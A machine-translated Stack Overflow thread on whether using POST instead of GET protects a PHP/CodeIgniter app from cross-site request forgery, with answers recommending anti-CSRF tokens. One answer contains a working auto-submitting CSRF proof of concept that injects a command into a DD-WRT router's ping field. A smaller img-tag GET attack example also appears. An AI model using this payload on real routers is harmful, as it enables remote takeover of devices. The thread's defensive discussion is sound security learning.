繁体   English   中英

PHP安全使用POST而不是GET来防范XSRF?

[英]PHP security using POST instead of GET to protect against XSRF?

我的应用程序中有一些像http://mysite.com/module/45/set_name/new-name这样的URL,可以使用ajax访问。

为了防止XSRF,我强制这样的请求是POST请求。 使用GET ,使用以下方法生成XSRF非常简单:

<img src="http://mysite.com/module/45/set_name/new-name"/>

使用POST可以防止这种特殊的攻击,但这实际上比使用GET更安全吗? 如果没有,还有什么可以/应该做的?

谢谢。


编辑:我正在使用CodeIgniter并在我的配置中有以下内容:

$config['csrf_protection'] = TRUE;
$config['csrf_token_name'] = 'csrf_test_name';
$config['csrf_cookie_name'] = 'csrf_cookie_name';
$config['csrf_expire'] = 3600;

我安全吗? 拥有CSRF是否有任何缺点? 表格除了一小时后到期?

单独使用POST是不够的,因为有人可以使用隐藏的输入元素制作表单并自动将其提交到您的网站。 它不像具有GET请求的img元素那么容易,但它仍然是可能的。 你应该使用的是POST参数中的某种形式的验证,比如随机值或会话令牌,不像cookie那样不会在XSRF请求中发送。

没有chaning to post不能解决这个问题。 您应该阅读跨站点请求伪造(CSRF)预防备忘单

以下是我编写的基于Cocnept POST的CSRF漏洞证明示例。 这使您可以远程root访问DD-WRT

<html>
    <form method="post" action="http://192.168.1.1/apply.cgi" id=1>
        <input name="submit_button" value="Ping" type="hidden">
        <input name="action" value="ApplyTake" type="hidden">
        <input name="submit_type" value="start" type="hidden">
        <input name="change_action" value="gozila_cgi" type="hidden">
        <input name="next_page" value="Diagnostics.asp" type="hidden">
        <input name="ping_ip" value="echo owned">
        <input name="execute command" type="submit">
    </form>
</html>
<script>
    document.getElementById(1).submit();//remote root command execution!
</script>

为什么不检查随请求一起发送的推荐人? 图像src和javascript发送的表单都会通知您该请求是从其他主机发送的,您可以阻止该请求。

你错了这个问题。
你真正的问题完全不同 - 你正在使用不正确的方法。

当正确使用GET方法时, 要从服务器检索数据,就不可能实现CSRF攻击。

因此,如果您的请求在服务器端更改数据,则无论如何都必须将其更改为POST,尽管存在所有这些浪漫和惊吓的内容,如CSRF,XSS等。
这只是一项技术基础

至于CSRF本身,它根本不是什么大问题。 只需确保所有表单都包含一些反csrf令牌(也存储在会话中),所有POST表单处理程序都会验证它。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM